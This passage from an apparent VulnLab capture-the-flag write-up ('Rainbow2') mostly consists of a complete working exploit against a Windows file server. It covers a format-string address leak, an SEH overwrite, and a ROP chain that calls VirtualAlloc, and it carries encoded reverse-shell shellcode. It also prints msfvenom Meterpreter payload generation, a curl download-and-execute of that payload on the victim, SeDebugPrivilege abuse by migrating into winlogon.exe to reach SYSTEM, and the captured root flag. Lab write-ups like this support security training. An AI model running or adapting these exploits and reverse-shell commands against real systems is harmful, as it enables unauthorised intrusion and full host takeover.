rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0)            # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;  
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;

We have 3 registers left before Temp, edi which will be the first to be executed, we will simply execute a ret and we will pass the value of esi what will be executed VirtualAlloc, when the function finishes it will execute the one pop rbp that will clean the stack to execute the next instruction that will be the jump to the shellcode to be executed.

# $ebp = pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
# $esi = jmp eax
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# $edi = ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;  
rop += p32(binary_base + 0x01010) # ret;

With all the records established we can execute the pushad; ret;, after exiting VirtualAlloc we will execute a simple jmp esp to execute the shellcode:

# call VirtualAlloc()
rop += p32(binary_base + 0x113b1) # pushad; ret;  
rop += p32(binary_base + 0x11394) # jmp esp;

Our exploit now looks like this, if everything works correctly the ropchain will call the function VirtualAlloc and jump to the shellcode which for now are simply C's:

#!/usr/bin/python3
from pwn import remote, p32

shell = remote("192.168.3.65", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120

rop  = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
# $ecx = 0x40
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab)            # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
# $edx = 0x1000
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b)            # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;  
rop += p32(0x41414141)            # padding for pop
# $ebx = 0x1
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff)            # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
# $ebp = pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
# $esi = jmp eax
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# $eax = VirtualAlloc()
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0)            # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
# $edi = ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
# call VirtualAlloc()
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;

shellcode  = b""
shellcode += b"C" * 100

offset = 1032
junk = b"A" * (offset - len(rop + shellcode))

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

To see that it works we can set a breakpoint at VirtualAlloc, when it gets there we can check that the parameters are set correctly:

0:000> bp kernel32!VirtualAllocStub  

0:000> dds esp + 4 L4
0194f700  0194f714
0194f704  00000001
0194f708  00001000
0194f70c  00000040

After executing the function if we see the stack protection again instead of 0x4 now we have the value 0x40 that is equivalent to the value of PAGE_EXECUTE_READWRITE:

0:000> pt
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010  
eip=75f1274c esp=0194f6fc ebp=3f29100f iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
KERNELBASE!VirtualAlloc+0x4c:
75f1274c c21000          ret     10h

0:000> !vprot esp
BaseAddress:       0194f000
AllocationBase:    01850000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000040  PAGE_EXECUTE_READWRITE
Type:              00020000  MEM_PRIVATE

If we continue the execution we will reach the one jmp esp who will execute our C's:

0:000> pt
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010  
eip=3f291010 esp=0194f714 ebp=756c6250 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
filesrv+0x1010:
3f291010 c3              ret

0:000> p
eax=0194f000 ebx=00000001 ecx=4e7f0000 edx=0194f000 esi=3f2a4af9 edi=3f291010  
eip=3f2a1394 esp=0194f718 ebp=756c6250 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
filesrv+0x11394:
3f2a1394 ffe4            jmp     esp {0194f718}

0:000> db esp
0194f718  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f728  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f738  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f748  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f758  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f768  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0194f778  43 43 43 43 41 41 41 41-41 41 41 41 41 41 41 41  CCCCAAAAAAAAAAAA
0194f788  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Since we can execute a shellcode with this exploit we only have to generate a new shellcode using msfvenom which sends a reverse shell through the port 443 for the final stage.

Our final exploit starts by overwriting the driver SEH with a stack pivot that returns a ropchain which calls VirtualAlloc to change the stack privileges, once it is executable it jumps to the shellcode and executes the reverse shell.

For the POC, we will proceed with local test to launch a calculator app.

Proof Of Concept - POC

Pre-requirement: $ sudo apt install python3-pwntools

$ cat poc.py                                                        
#!/usr/bin/python3
from pwn import remote, p32, pause

shell = remote("Windows", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120

rop  = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab)            # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b)            # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141)            # padding for pop
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff)            # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0)            # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;

# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x09\x0a\x0b\x0c\x0d\x20\x25' -f python -v shellcode -e x86/shikata_ga_nai -n 16
shellcode =  b""
shellcode += b"\x3f\x41\x4a\x27\x41\x40\xf8\xd6\x41\x9f\x9b"
shellcode += b"\x41\x90\x99\x98\x27\xd9\xf7\xd9\x74\x24\xf4"
shellcode += b"\xba\x68\x1d\xc1\x42\x5e\x33\xc9\xb1\x31\x83"
shellcode += b"\xee\xfc\x31\x56\x14\x03\x56\x7c\xff\x34\xbe"
shellcode += b"\x94\x7d\xb6\x3f\x64\xe2\x3e\xda\x55\x22\x24"
shellcode += b"\xae\xc5\x92\x2e\xe2\xe9\x59\x62\x17\x7a\x2f"
shellcode += b"\xab\x18\xcb\x9a\x8d\x17\xcc\xb7\xee\x36\x4e"
shellcode += b"\xca\x22\x99\x6f\x05\x37\xd8\xa8\x78\xba\x88"
shellcode += b"\x61\xf6\x69\x3d\x06\x42\xb2\xb6\x54\x42\xb2"
shellcode += b"\x2b\x2c\x65\x93\xfd\x27\x3c\x33\xff\xe4\x34"
shellcode += b"\x7a\xe7\xe9\x71\x34\x9c\xd9\x0e\xc7\x74\x10"
shellcode += b"\xee\x64\xb9\x9d\x1d\x74\xfd\x19\xfe\x03\xf7"
shellcode += b"\x5a\x83\x13\xcc\x21\x5f\x91\xd7\x81\x14\x01"
shellcode += b"\x3c\x30\xf8\xd4\xb7\x3e\xb5\x93\x90\x22\x48"
shellcode += b"\x77\xab\x5e\xc1\x76\x7c\xd7\x91\x5c\x58\xbc"
shellcode += b"\x42\xfc\xf9\x18\x24\x01\x19\xc3\x99\xa7\x51"
shellcode += b"\xe9\xce\xd5\x3b\x67\x10\x6b\x46\xc5\x12\x73"
shellcode += b"\x49\x79\x7b\x42\xc2\x16\xfc\x5b\x01\x53\xf2"
shellcode += b"\x11\x08\xf5\x9b\xff\xd8\x44\xc6\xff\x36\x8a"
shellcode += b"\xff\x83\xb2\x72\x04\x9b\xb6\x77\x40\x1b\x2a"
shellcode += b"\x05\xd9\xce\x4c\xba\xda\xda\x2e\x5d\x49\x86"
shellcode += b"\x9e\xf8\xe9\x2d\xdf"

offset = 1032
junk = b"A" * (offset - len(rop + shellcode))

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

Let’s go to PWN (dev)

Create our Metasploit payload:

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.253 LPORT=443 -b '\x00\x09\x0a\x0b\x0c\x0d\x20\x25' -f python -v shellcode -e x86/shikata_ga_nai -n 16
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Successfully added NOP sled of size 16 from x86/single_byte
Payload size: 367 bytes
Final size of python file: 2063 bytes
shellcode =  b""
shellcode += b"\x9b\x4b\xf9\x43\x2f\x4b\x90\xf9\x27\x91\x40"
shellcode += b"\x90\x48\x27\x41\x37\xbe\xb5\xeb\xd2\xdb\xda"
shellcode += b"\xd9\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\x83"
shellcode += b"\xe8\xfc\x31\x70\x0e\x03\xc5\xe5\x30\x2e\xd9"
shellcode += b"\x12\x36\xd1\x21\xe3\x57\x5b\xc4\xd2\x57\x3f"
shellcode += b"\x8d\x45\x68\x4b\xc3\x69\x03\x19\xf7\xfa\x61"
shellcode += b"\xb6\xf8\x4b\xcf\xe0\x37\x4b\x7c\xd0\x56\xcf"
shellcode += b"\x7f\x05\xb8\xee\x4f\x58\xb9\x37\xad\x91\xeb"
shellcode += b"\xe0\xb9\x04\x1b\x84\xf4\x94\x90\xd6\x19\x9d"
shellcode += b"\x45\xae\x18\x8c\xd8\xa4\x42\x0e\xdb\x69\xff"
shellcode += b"\x07\xc3\x6e\x3a\xd1\x78\x44\xb0\xe0\xa8\x94"
shellcode += b"\x39\x4e\x95\x18\xc8\x8e\xd2\x9f\x33\xe5\x2a"
shellcode += b"\xdc\xce\xfe\xe9\x9e\x14\x8a\xe9\x39\xde\x2c"
shellcode += b"\xd5\xb8\x33\xaa\x9e\xb7\xf8\xb8\xf8\xdb\xff"
shellcode += b"\x6d\x73\xe7\x74\x90\x53\x61\xce\xb7\x77\x29"
shellcode += b"\x94\xd6\x2e\x97\x7b\xe6\x30\x78\x23\x42\x3b"
shellcode += b"\x95\x30\xff\x66\xf2\xf5\x32\x98\x02\x92\x45"
shellcode += b"\xeb\x30\x3d\xfe\x63\x79\xb6\xd8\x74\x7e\xed"
shellcode += b"\x9d\xea\x81\x0e\xde\x23\x46\x5a\x8e\x5b\x6f"
shellcode += b"\xe3\x45\x9b\x90\x36\xc9\xcb\x3e\xe9\xaa\xbb"
shellcode += b"\xfe\x59\x43\xd1\xf0\x86\x73\xda\xda\xae\x1e"
shellcode += b"\x21\x8d\xda\xd6\x2d\xb0\xb3\xe4\x2d\x4b\xff"
shellcode += b"\x60\xcb\x21\xef\x24\x44\xde\x96\x6c\x1e\x7f"
shellcode += b"\x56\xbb\x5b\xbf\xdc\x48\x9c\x0e\x15\x24\x8e"
shellcode += b"\xe7\xd5\x73\xec\xae\xea\xa9\x98\x2d\x78\x36"
shellcode += b"\x58\x3b\x61\xe1\x0f\x6c\x57\xf8\xc5\x80\xce"
shellcode += b"\x52\xfb\x58\x96\x9d\xbf\x86\x6b\x23\x3e\x4a"
shellcode += b"\xd7\x07\x50\x92\xd8\x03\x04\x4a\x8f\xdd\xf2"
shellcode += b"\x2c\x79\xac\xac\xe6\xd6\x66\x38\x7e\x15\xb9"
shellcode += b"\x3e\x7f\x70\x4f\xde\xce\x2d\x16\xe1\xff\xb9"
shellcode += b"\x9e\x9a\x1d\x5a\x60\x71\xa6\x6a\x2b\xdb\x8f"
shellcode += b"\xe2\xf2\x8e\x8d\x6e\x05\x65\xd1\x96\x86\x8f"
shellcode += b"\xaa\x6c\x96\xfa\xaf\x29\x10\x17\xc2\x22\xf5"
shellcode += b"\x17\x71\x42\xdc"

Our final python script exploit.py :

$ cat exploit.py 
#!/usr/bin/python3
from pwn import remote, p32, pause

shell = remote("10.10.89.134", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120

rop  = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab)            # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b)            # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141)            # padding for pop
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff)            # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0)            # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;

# msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.253 LPORT=443 -b '\x00\x09\x0a\x0b\x0c\x0d\x20\x25' -f python -v shellcode -e x86/shikata_ga_nai -n 16
shellcode =  b""
shellcode += b"\x9b\x4b\xf9\x43\x2f\x4b\x90\xf9\x27\x91\x40"
shellcode += b"\x90\x48\x27\x41\x37\xbe\xb5\xeb\xd2\xdb\xda"
shellcode += b"\xd9\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\x83"
shellcode += b"\xe8\xfc\x31\x70\x0e\x03\xc5\xe5\x30\x2e\xd9"
shellcode += b"\x12\x36\xd1\x21\xe3\x57\x5b\xc4\xd2\x57\x3f"
shellcode += b"\x8d\x45\x68\x4b\xc3\x69\x03\x19\xf7\xfa\x61"
shellcode += b"\xb6\xf8\x4b\xcf\xe0\x37\x4b\x7c\xd0\x56\xcf"
shellcode += b"\x7f\x05\xb8\xee\x4f\x58\xb9\x37\xad\x91\xeb"
shellcode += b"\xe0\xb9\x04\x1b\x84\xf4\x94\x90\xd6\x19\x9d"
shellcode += b"\x45\xae\x18\x8c\xd8\xa4\x42\x0e\xdb\x69\xff"
shellcode += b"\x07\xc3\x6e\x3a\xd1\x78\x44\xb0\xe0\xa8\x94"
shellcode += b"\x39\x4e\x95\x18\xc8\x8e\xd2\x9f\x33\xe5\x2a"
shellcode += b"\xdc\xce\xfe\xe9\x9e\x14\x8a\xe9\x39\xde\x2c"
shellcode += b"\xd5\xb8\x33\xaa\x9e\xb7\xf8\xb8\xf8\xdb\xff"
shellcode += b"\x6d\x73\xe7\x74\x90\x53\x61\xce\xb7\x77\x29"
shellcode += b"\x94\xd6\x2e\x97\x7b\xe6\x30\x78\x23\x42\x3b"
shellcode += b"\x95\x30\xff\x66\xf2\xf5\x32\x98\x02\x92\x45"
shellcode += b"\xeb\x30\x3d\xfe\x63\x79\xb6\xd8\x74\x7e\xed"
shellcode += b"\x9d\xea\x81\x0e\xde\x23\x46\x5a\x8e\x5b\x6f"
shellcode += b"\xe3\x45\x9b\x90\x36\xc9\xcb\x3e\xe9\xaa\xbb"
shellcode += b"\xfe\x59\x43\xd1\xf0\x86\x73\xda\xda\xae\x1e"
shellcode += b"\x21\x8d\xda\xd6\x2d\xb0\xb3\xe4\x2d\x4b\xff"
shellcode += b"\x60\xcb\x21\xef\x24\x44\xde\x96\x6c\x1e\x7f"
shellcode += b"\x56\xbb\x5b\xbf\xdc\x48\x9c\x0e\x15\x24\x8e"
shellcode += b"\xe7\xd5\x73\xec\xae\xea\xa9\x98\x2d\x78\x36"
shellcode += b"\x58\x3b\x61\xe1\x0f\x6c\x57\xf8\xc5\x80\xce"
shellcode += b"\x52\xfb\x58\x96\x9d\xbf\x86\x6b\x23\x3e\x4a"
shellcode += b"\xd7\x07\x50\x92\xd8\x03\x04\x4a\x8f\xdd\xf2"
shellcode += b"\x2c\x79\xac\xac\xe6\xd6\x66\x38\x7e\x15\xb9"
shellcode += b"\x3e\x7f\x70\x4f\xde\xce\x2d\x16\xe1\xff\xb9"
shellcode += b"\x9e\x9a\x1d\x5a\x60\x71\xa6\x6a\x2b\xdb\x8f"
shellcode += b"\xe2\xf2\x8e\x8d\x6e\x05\x65\xd1\x96\x86\x8f"
shellcode += b"\xaa\x6c\x96\xfa\xaf\x29\x10\x17\xc2\x22\xf5"
shellcode += b"\x17\x71\x42\xdc"

offset = 1032
junk = b"A" * (offset - len(rop + shellcode))

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

Set a Penelope listener:

$ penelope 443 -i tun0     
[+] Listening for reverse shells on 10.8.4.253:443 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

Execute our python exploit:

$ python3 exploit.py
[+] Opening connection to 10.10.89.134 on port 2121: Done
[*] Switching to interactive mode

$  

Got our shell as dev:

[+] Got reverse shell from 10.10.89.134 😍️ Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Basic, Menu key: Ctrl-D 
[+] Logging to /home/user/.penelope/10.10.89.134/10.10.89.134.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
C:\shared>whoami
whoami
rainbow2\dev

Privilege escalation

SeDebugPrivilege abusing

Check the privileges:

C:\shared>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Found SeDebugPrivilege, this privilege allows us to synchronize with any process of any user (including Admin user or Process with High privilege).

We will create a new MSF implant then we can use it to escalate to high privilege process to become SYSTEM.

Create a new MSF payload:

$ msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.8.4.253 LPORT=4443 -f exe -o rshell.exe                 
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rshell.exe

Start a new Meterpreter listener:

$ msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4443; set ExitOnSession false; exploit -j"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
LHOST => tun0
LPORT => 4443
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.8.4.253:4443 
msf6 exploit(multi/handler) >

Start a local web server:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Upload our new reverse shell to our dev session then execute it:

c:\ProgramData>curl 10.8.4.253/rshell.exe -o rshell.exe
c:\ProgramData>rshell.exe

Then we got our new shell:

[*] Sending stage (203846 bytes) to 10.10.89.134
[*] Meterpreter session 1 opened (10.8.4.253:4443 -> 10.10.89.134:51092) at 2025-03-01 18:13:36 +0900

msf6 exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x64/windows  RAINBOW2\dev @ RAINBOW2  10.8.4.253:4443 -> 10.10.89.134:51092 (10.10.89.134)

Now we abuse the SeDebugPrivilege privilege migrating to a process with high privileges such as winlogon.exe, after migrated we become the user who runs that process, in this case it is the user nt authority\system:

meterpreter > ps

Process List
============

 PID   PPID  Name                     Arch  Session  User          Path
 ---   ----  ----                     ----  -------  ----          ----
 0     0     [System Process]
 4     0     System                   x64   0
 76    4     Registry                 x64   0
 420   4     smss.exe                 x64   0
 552   784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 592   584   csrss.exe                x64   0
 656   648   csrss.exe                x64   1
 700   584   wininit.exe              x64   0
 716   648   winlogon.exe             x64   1                      C:\Windows\System32\winlogon.exe
 780   784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 784   700   services.exe             x64   0
 804   700   lsass.exe                x64   0                      C:\Windows\System32\lsass.exe
 864   716   dwm.exe                  x64   1                      C:\Windows\System32\dwm.exe
 912   784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 948   700   fontdrvhost.exe          x64   0                      C:\Windows\System32\fontdrvhost.exe
 956   716   fontdrvhost.exe          x64   1                      C:\Windows\System32\fontdrvhost.exe
 1004  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1016  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1088  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1200  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1260  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1268  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1304  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1524  2468  conhost.exe              x64   0        RAINBOW2\dev  C:\Windows\System32\conhost.exe
 1636  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1736  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1768  784   spoolsv.exe              x64   0                      C:\Windows\System32\spoolsv.exe
 1776  2128  rshell.exe               x64   0        RAINBOW2\dev  C:\ProgramData\rshell.exe
 1808  2164  MicrosoftEdgeUpdate.exe  x86   0                      C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
 1820  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1892  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 1976  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 2008  784   LiteAgent.exe            x64   0                      C:\Program Files\Amazon\XenTools\LiteAgent.exe
 2032  784   IpOverUsbSvc.exe         x86   0                      C:\Program Files (x86)\Common Files\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsb
                                                                   Svc.exe
 2128  2476  cmd.exe                  x86   0        RAINBOW2\dev  C:\Windows\SysWOW64\cmd.exe
 2428  784   svchost.exe              x64   0
 2468  784   nssm.exe                 x64   0        RAINBOW2\dev  C:\apps\nssm.exe
 2476  2468  filesrv.exe              x86   0        RAINBOW2\dev  C:\apps\filesrv.exe
 2500  784   svchost.exe              x64   0                      C:\Windows\System32\svchost.exe
 2836  716   LogonUI.exe              x64   1                      C:\Windows\System32\LogonUI.exe
 3064  784   msdtc.exe                x64   0                      C:\Windows\System32\msdtc.exe
meterpreter > migrate -N winlogon.exe
[*] Migrating from 3004 to 716...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Finally grab the Rainbow2_Root flag:

meterpreter > cat c:\\users\\administrator\\desktop\\root.txt
VL{1ba7e2ca0e3fe284339532a8e7ba05f4}

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=84663b63-1372-49df-92ad-ac9fe55952ae

RAINBOW2

Guidance

User

  • Exploit the binary. Here is a basic PoC to get started:
#!/usr/bin/env python3
from pwn import *
 
offset = 1032
size = 4000
 
p = remote('',2121, typ='tcp', level='debug')
p.sendline(b"LST |%p|%p|%p|%p|")
leak = p.recvline(keepends=False).split(b"|")[1:]
binary_leak = int(leak[1].decode(),16)
binary_base = binary_leak - 0x14120;
log.info("Binary base: "+hex(binary_base))
 
log.info("Sending payload..")
buf  = b""
buf += b"LST "
buf += b"A" * (offset)
buf += b"B" * 4 # nseh
buf += b"C" * 4 # seh
buf += b"D" * (size-len(buf))
p.sendline(buf)
 
input("Press enter to continue..")
p.close()  

To get it working on the remote, make sure to write a very clean exploit:

  • Don’t Virtual Protect more memory than you need to

  • Allocate as little memory as possible

  • Use small shellcode

  • Pay attention to all bad bytes

Root

  • Look at your privileges.